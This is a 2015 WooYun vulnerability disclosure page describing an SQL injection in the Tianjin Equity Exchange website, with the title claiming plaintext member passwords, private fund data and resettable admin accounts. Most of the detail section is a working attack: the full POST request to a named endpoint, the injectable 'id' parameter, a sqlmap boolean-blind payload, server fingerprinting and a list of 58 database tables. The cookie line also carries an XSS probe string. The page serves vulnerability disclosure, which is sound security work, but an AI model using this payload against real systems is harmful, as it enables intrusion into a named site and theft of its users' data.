当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0143058

漏洞标题：金融安全之天津股权交易所SQL注入（1万多名会员密码明文存储/161私募基金信息/可重置管理员账号）

相关厂商：天津股权交易所

漏洞作者： 路人甲

提交时间：2015-09-24 22:53

修复时间：2015-11-08 22:54

公开时间：2015-11-08 22:54

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：13

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-09-24： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-11-08： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

详细说明：

http://www.tjsoc.com/ 天津股权交易所

POST /web/more_details2.aspx HTTP/1.1
Content-Length: 239
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://www.tjsoc.com:80/
Cookie: ASP.NET_SessionId=u15m1orexefpacbuhkcihpg1; __utmt=1; __utma=219506396.1977036588.1443013104.1443013104.1443013104.1; __utmb=219506396.4.10.1443013104; __utmc=219506396; __utmz=219506396.1443013104.1.1.utmcsr=acunetix-referrer.com|utmccn=(referral)|utmcmd=referral|utmcct=/javascript:domxssExecutionSink(0,"'\"><xsstag>()refdxss"); CheckCode=2206
Host: www.tjsoc.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
__EVENTARGUMENT=&__EVENTTARGET=&__EVENTVALIDATION=/wEWBwKx8fr0DgKP6PmbAQKO6PmbAQKN6PmbAQKU6PmbAQKT6PmbAQKS6PmbAdYjvuPyabQjbKNlUiXi%2bknsyjBSanbB8KATBc8XGvqZ&__VIEWSTATE=/wEPDwUKLTE3MTM5MTc2OGRkHIz6x5shuppo6oFYZzvrzpLemXO41QcBr0a5CqauJjk%3d&id=250

id参数

11.jpg

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: __EVENTARGUMENT=&__EVENTTARGET=&__EVENTVALIDATION=/wEWBwKx8fr0DgKP6PmbAQKO6PmbAQKN6PmbAQKU6PmbAQKT6PmbAQKS6PmbAdYjvuPyabQjbKNlUiXi+knsyjBSanbB8KATBc8XGvqZ&__VIEWSTATE=/wEPDwUKLTE3MTM5MTc2OGRkHIz6x5shuppo6oFYZzvrzpLemXO41QcBr0a5CqauJjk=&id=250 AND 8395=8395
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2005
Database: dsc130059_db
[58 tables]
+-----------------------+
| D99_Tmp               |
| Delsen_Admin          |
| Delsen_FeedBack       |
| Delsen_Group          |
| T_FAQ                 |
| T_StockCode           |
| T_StockCode_simu      |
| T_admin               |
| T_application         |
| T_article             |
| T_article_class       |
| T_consult             |
| T_consult_class       |
| T_data                |
| T_declaration         |
| T_display             |
| T_filter_main         |
| T_filter_sub          |
| T_grand               |
| T_infomation          |
| T_infomation_class    |
| T_infomation_simu     |
| T_invest              |
| T_link                |
| T_marketData          |
| T_members             |
| T_news                |
| T_notice              |
| T_others              |
| T_person              |
| T_platform            |
| T_platform_Class      |
| T_qyzx                |
| T_recruitment         |
| T_supervise           |
| T_superviseNews       |
| T_supervise_class     |
| T_sysPower            |
| T_sysUsers            |
| Table_Article         |
| Table_Class           |
| Table_JobCand         |
| Table_Log_Sys         |
| Table_Member          |
| Table_ShopOrder       |
| Table_ShopPoints      |
| cmd1                  |
| cmd2                  |
| cmd_tmp               |
| cmd_ww                |
| pcguest               |
| sysdiagrams           |
| table_temp            |
| tb_company            |
| tb_company_Main_class |
| tb_company_Sub_class  |
| tkhxx                 |
| tkhxxtemp             |
+-----------------------+

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝